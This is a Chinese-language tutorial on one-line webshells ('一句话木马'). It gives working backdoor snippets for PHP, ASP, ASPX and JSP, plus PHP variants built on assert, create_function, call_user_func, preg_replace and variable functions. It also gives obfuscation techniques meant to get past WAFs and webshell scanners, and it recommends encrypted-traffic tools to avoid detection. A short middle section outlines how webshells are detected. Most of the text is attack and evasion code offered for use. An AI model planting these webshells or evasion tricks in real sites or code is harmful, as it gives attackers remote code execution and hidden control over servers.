简单木马

一句话木马

原理

 <?php @eval($_POST['pass']); ?>

<?php ?>:解析成php代码

@:不报错

$_POST['pass']:php里面几个超全局变量,$_GET$_POST就是其中之一,意思为用post方法接收pass这个变量

eval():eval()把字符串作为PHP代码执行

整句意思:post方式接收变量pass,若pass=echo 'a',则代码就成了<?php eval("echo 'a';"); ?>,也就是通过pass这个变量传入php代码为所欲为。

通过一句话木马,使用菜刀、蚁剑、冰蝎等强悍的工具,可以攻陷整个网站主机。

常见一句话木马

基础款

php的一句话木马:<?php @eval($_POST['pass']);?>
asp的一句话木马:<%eval request ("pass")%>
aspx的一句话木马:<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
jsp的一句话木马:
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

简单变型

php:

//绕过<?
<script language="php">@eval($_POST[pass])</script>
    
//assert函数
<?php assert(@$_POST[pass]);?>
    
//creat_function函数,传参到fun()并执行
<?php
$fun = create_function('',$_POST['pass']);
$fun();
?>
    
//call_user_func回调函数,绕过waf
<?php
@call_user_func(assert,$_POST['pass']);
?>

//preg_replace函数
<?php
@preg_replace("/abcde/e", $_POST['pass'], "abcdefg");
?>

// file_put_contents函数,生成木马文件
<?php
$test='<?php $a=$_POST["pass"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

//array数组
<?php
$a='assert';
array_map("$a",$_REQUEST);
?>
<?php
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST["pass"]);
?>

//php变量函数
<?php
$a = "eval";
$a(@$_POST['pass']);
?>

木马免杀

木马查杀

文件内容查杀:对脚本文件中所使用的关键词、高危函数、文件修改的时间、文件权限、文件的所有者以及和其它文件的关联性等多个维度的特征进行检测,即先建立一个恶意字符串特征库,同时对WEB文件修改时间,文件权限以及文件所有者等进行确认。容易误报,无法对加密或者经过特殊处理的Webshell文件进行检测。

网络请求查杀:当木马被执行时,如果请求参数的值中存在某些危险函数、或者关键字,那么会被防护产品拦截,通过Webshell运行时使用的系统命令或者网络流量及状态的异常来判断动作的威胁程度。

日志分析查杀:使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测 技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。

木马免杀

关键字绕过:拆分关键字

构造函数:构造一个函数,拼接成一句话木马

<?php
function x()
{
    return $_POST['pass'];
}
eval(x());
?>

注释隔断:一般查杀会对高危函数的前后语句进行拼接并检测,注释符可以隔断这种拼接从而绕过检查

<?php
function x()
{
    return "/*sasas23123*/".$_POST['pass']."/*sdfw3123*/";
}
eval(x());
?>

转码绕过:转码特征值,再通过解码来执行相关语句

数组拼接:利用数组拼接木马语句

<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['pass'])))));
?>

工具利用:传统方法利用菜刀管理webshell 的流量特征很明显,很容易被检测到,可使用流量加密的webshell工具,如冰蝎,来躲避流量监测。